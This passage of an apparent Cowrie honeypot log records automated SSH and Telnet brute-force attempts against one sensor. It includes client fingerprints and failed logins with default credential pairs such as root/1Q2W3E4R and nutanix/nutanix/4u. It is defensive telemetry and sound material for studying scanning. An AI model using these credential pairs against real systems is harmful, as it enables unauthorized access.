ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:06:45.144554Z","src_ip":"103.75.199.4","session":"1a1eeeee0598","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux","message":"login attempt [linux/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:06:45.417381Z","src_ip":"103.75.199.4","session":"1a1eeeee0598","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:06:46.510942Z","src_ip":"103.75.199.4","session":"1a1eeeee0598","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":41146,"dst_ip":"159.203.135.109","dst_port":22,"session":"93ade1fe437a","protocol":"ssh","message":"New connection: 103.75.199.4:41146 (159.203.135.109:22) [session: 93ade1fe437a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:07:06.928365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:07:06.933061Z","src_ip":"103.75.199.4","session":"93ade1fe437a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:07:07.024441Z","src_ip":"103.75.199.4","session":"93ade1fe437a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Q2W3E4R","message":"login attempt [root/1Q2W3E4R] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:07:07.296600Z","src_ip":"103.75.199.4","session":"93ade1fe437a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:07:08.390481Z","src_ip":"103.75.199.4","session":"93ade1fe437a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":51192,"dst_ip":"159.203.135.109","dst_port":22,"session":"d390cabef4c0","protocol":"ssh","message":"New connection: 103.75.199.4:51192 (159.203.135.109:22) [session: d390cabef4c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:07:28.760995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:07:28.764728Z","src_ip":"103.75.199.4","session":"d390cabef4c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:07:28.861471Z","src_ip":"103.75.199.4","session":"d390cabef4c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpadmin","password":"gpadmin","message":"login attempt [gpadmin/gpadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:07:29.146709Z","src_ip":"103.75.199.4","session":"d390cabef4c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:07:30.245447Z","src_ip":"103.75.199.4","session":"d390cabef4c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":36812,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ca56243e27e","protocol":"ssh","message":"New connection: 103.75.199.4:36812 (159.203.135.109:22) [session: 1ca56243e27e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:07:50.670244Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:07:50.674880Z","src_ip":"103.75.199.4","session":"1ca56243e27e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:07:50.770909Z","src_ip":"103.75.199.4","session":"1ca56243e27e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nutanix","password":"nutanix/4u","message":"login attempt [nutanix/nutanix/4u] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:07:51.058978Z","src_ip":"103.75.199.4","session":"1ca56243e27e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:07:52.157111Z","src_ip":"103.75.199.4","session":"1ca56243e27e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":52118,"dst_ip":"159.203.135.109","dst_port":22,"session":"daa72d7a9e2c","protocol":"ssh","message":"New connection: 103.75.199.4:52118 (159.203.135.109:22) [session: daa72d7a9e2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:08:12.570712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:08:12.574472Z","src_ip":"103.75.199.4","session":"daa72d7a9e2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:08:12.668138Z","src_ip":"103.75.199.4","session":"daa72d7a9e2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"username","message":"login attempt [username/username] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:08:12.939697Z","src_ip":"103.75.199.4","session":"daa72d7a9e2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:08:14.033104Z","src_ip":"103.75.199.4","session":"daa72d7a9e2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":54114,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f8f0db5e7ee","protocol":"ssh","message":"New connection: 103.75.199.4:54114 (159.203.135.109:22) [session: 6f8f0db5e7ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:08:34.484353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:08:34.488331Z","src_ip":"103.75.199.4","session":"6f8f0db5e7ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:08:34.579059Z","src_ip":"103.75.199.4","session":"6f8f0db5e7ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"alex","message":"login attempt [alex/alex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:08:34.851850Z","src_ip":"103.75.199.4","session":"6f8f0db5e7ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:08:35.944998Z","src_ip":"103.75.199.4","session":"6f8f0db5e7ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":37092,"dst_ip":"159.203.135.109","dst_port":22,"session":"a8a44be97af5","protocol":"ssh","message":"New connection: 103.75.199.4:37092 (159.203.135.109:22) [session: a8a44be97af5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:08:56.362207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:08:56.366511Z","src_ip":"103.75.199.4","session":"a8a44be97af5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:08:56.460488Z","src_ip":"103.75.199.4","session":"a8a44be97af5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.35.217.121","src_port":55812,"dst_ip":"10.17.0.5","dst_port":23,"session":"e92bad13aeec","protocol":"telnet","message":"New connection: 161.35.217.121:55812 (10.17.0.5:23) [session: e92bad13aeec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:08:56.467544Z"}
{"eventid":"cowrie.login.failed","username":"odoo14","password":"odoo14","message":"login attempt [odoo14/odoo14] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:08:56.733633Z","src_ip":"103.75.199.4","session":"a8a44be97af5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:08:57.827422Z","src_ip":"103.75.199.4","session":"a8a44be97af5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":45678,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f2169e26666","protocol":"ssh","message":"New connection: 80.94.92.182:45678 (10.17.0.5:22) [session: 6f2169e26666]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:08:59.017188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:08:59.542838Z","src_ip":"80.94.92.182","session":"6f2169e26666","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:08:59.546418Z","src_ip":"80.94.92.182","session":"6f2169e26666","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1q2w3e4r","message":"login attempt [ubuntu/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:09:01.000688Z","src_ip":"80.94.92.182","session":"6f2169e26666","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.186.195.188","src_port":53210,"dst_ip":"159.203.135.109","dst_port":23,"session":"70d861073d23","protocol":"telnet","message":"New connection: 60.186.195.188:53210 (159.203.135.109:23) [session: 70d861073d23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:09:02.154403Z"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:09:02.227461Z","src_ip":"80.94.92.182","session":"6f2169e26666","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.27271318435669,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:09:14.426975Z","src_ip":"60.186.195.188","session":"70d861073d23","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":46622,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ae408967148","protocol":"ssh","message":"New connection: 103.75.199.4:46622 (159.203.135.109:22) [session: 3ae408967148]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:09:18.240070Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:09:18.243554Z","src_ip":"103.75.199.4","session":"3ae408967148","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:09:18.335916Z","src_ip":"103.75.199.4","session":"3ae408967148","protocol":"ssh"}
